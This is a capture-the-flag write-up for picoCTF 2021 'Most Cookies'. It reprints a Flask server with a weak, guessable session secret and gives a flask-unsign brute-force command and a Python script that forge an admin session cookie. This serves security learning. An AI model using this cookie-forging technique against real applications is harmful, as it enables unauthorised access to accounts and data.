PicoCTF 2021 - Most Cookies
Challenge Overview
This challenge falls under the Web category and, as the title suggests, is about manipulating cookies. The challenge description mentions Flask sessions, and we are provided with a backend source code file named server.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask, render_template, request, url_for, redirect, make_response, flash, session
import random
app = Flask(__name__)
flag_value = open("./flag").read().rstrip()
title = "Most Cookies"
cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
app.secret_key = random.choice(cookie_names)
@app.route("/")
def main():
if session.get("very_auth"):
check = session["very_auth"]
if check == "blank":
return render_template("index.html", title=title)
else:
return make_response(redirect("/display"))
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/search", methods=["GET", "POST"])
def search():
if "name" in request.form and request.form["name"] in cookie_names:
resp = make_response(redirect("/display"))
session["very_auth"] = request.form["name"]
return resp
else:
message = "That doesn't appear to be a valid cookie."
category = "danger"
flash(message, category)
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
@app.route("/reset")
def reset():
resp = make_response(redirect("/"))
session.pop("very_auth", None)
return resp
@app.route("/display", methods=["GET"])
def flag():
if session.get("very_auth"):
check = session["very_auth"]
if check == "admin":
resp = make_response(render_template("flag.html", value=flag_value, title=title))
return resp
flash("That is a cookie! Not very special though...", "success")
return render_template("not-flag.html", title=title, cookie_name=session["very_auth"])
else:
resp = make_response(redirect("/"))
session["very_auth"] = "blank"
return resp
if __name__ == "__main__":
app.run()
- Difficulty: Medium
- Objective: The goal is to exploit the application to generate an admin cookie. Let’s dive right into solving this challenge!
Tools Used
flask-unsignPython
Solution
1. Solving the Challenge with flask-unsign
Using flask-unsign, solving this challenge is straightforward. We can extract the secrets, save them into a password list, and brute-force the secret key using the following command:
1
flask-unsign -u --server "http://mercury.picoctf.net:6259" --wordlist wordlist.txt
This method quickly provides the secret to craft a valid admin session token.
2. Solving the Challenge Manually with Python
While automation is convenient, I wanted to manually replicate the process to understand the underlying mechanisms better. This approach helped me face and solve issues like infinite redirects and invalid cookies.
Even though this challenge is old, I believe sharing knowledge is timeless, so here’s my manual solution.
Understanding Flask Session Generation
To brute-force a cookie session, it’s crucial to understand how it is generated. After struggling to create a valid session, I examined the Flask source code, particularly the sessions.py file, which you can find here.
Scrolling down, I found the SecureCookieSessionInterface class at line 298, with a comment explaining:
The default session interface that stores sessions in signed cookies through the
itsdangerousmodule.
Key points for generating a signed cookie:
- It uses the
itsdangerouslibrary for securely signing data. - Default salt:
cookie-session. - Digest method:
SHA-1. - Authentication technique:
HMAC. - Serializer: Flask
TaggedJSONSerializer( we can use json module instead).
It also uses URLSafeTimedSerializer, as described in the itsdangerous documentation:

Crafting a Valid Cookie
Based on this, I wrote a Python script to brute-force the session cookie manually. Here’s the solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
import re
import json
import hashlib
import requests
from itsdangerous import URLSafeTimedSerializer
url = 'http://mercury.picoctf.net:6259/display'
headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0'}
wordlist = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]
salt = 'cookie-session'
data = {'very_auth': 'admin'}
flag_pattern = r'picoCTF\{.*?\}'
# Brute-force secret key
for secret in wordlist:
# session Configuration
signer_kwargs = {'key_derivation': 'hmac', 'digest_method': hashlib.sha1}
serializer_instance = URLSafeTimedSerializer(secret_key=secret, salt=salt, signer_kwargs=signer_kwargs)
token = serializer_instance.dumps(data)
cookies = {'session': token}
# Send request with token
resp = requests.get(url, cookies=cookies, headers=headers, allow_redirects=False)
flag = re.findall(flag_pattern, resp.text)
if flag:
print(f'[+] Secret found: {secret}')
print(f'[+] Flag: {"".join(flag)}')
break
Lessons Learned
- Flask Sessions and Security: Understanding how Flask sessions are signed is crucial to exploiting or securing applications that use them.
- Manual vs Automated Approaches: While tools like
flask-unsignare quick, manually solving challenges deepens your knowledge and exposes you to hidden issues. - Reading Source Code: Analyzing libraries like
itsdangerousor Flask helps uncover details essential for crafting successful exploits.
This writeup demonstrates the importance of balancing manual analysis with automation, and I hope it helps others understand Flask session handling better.


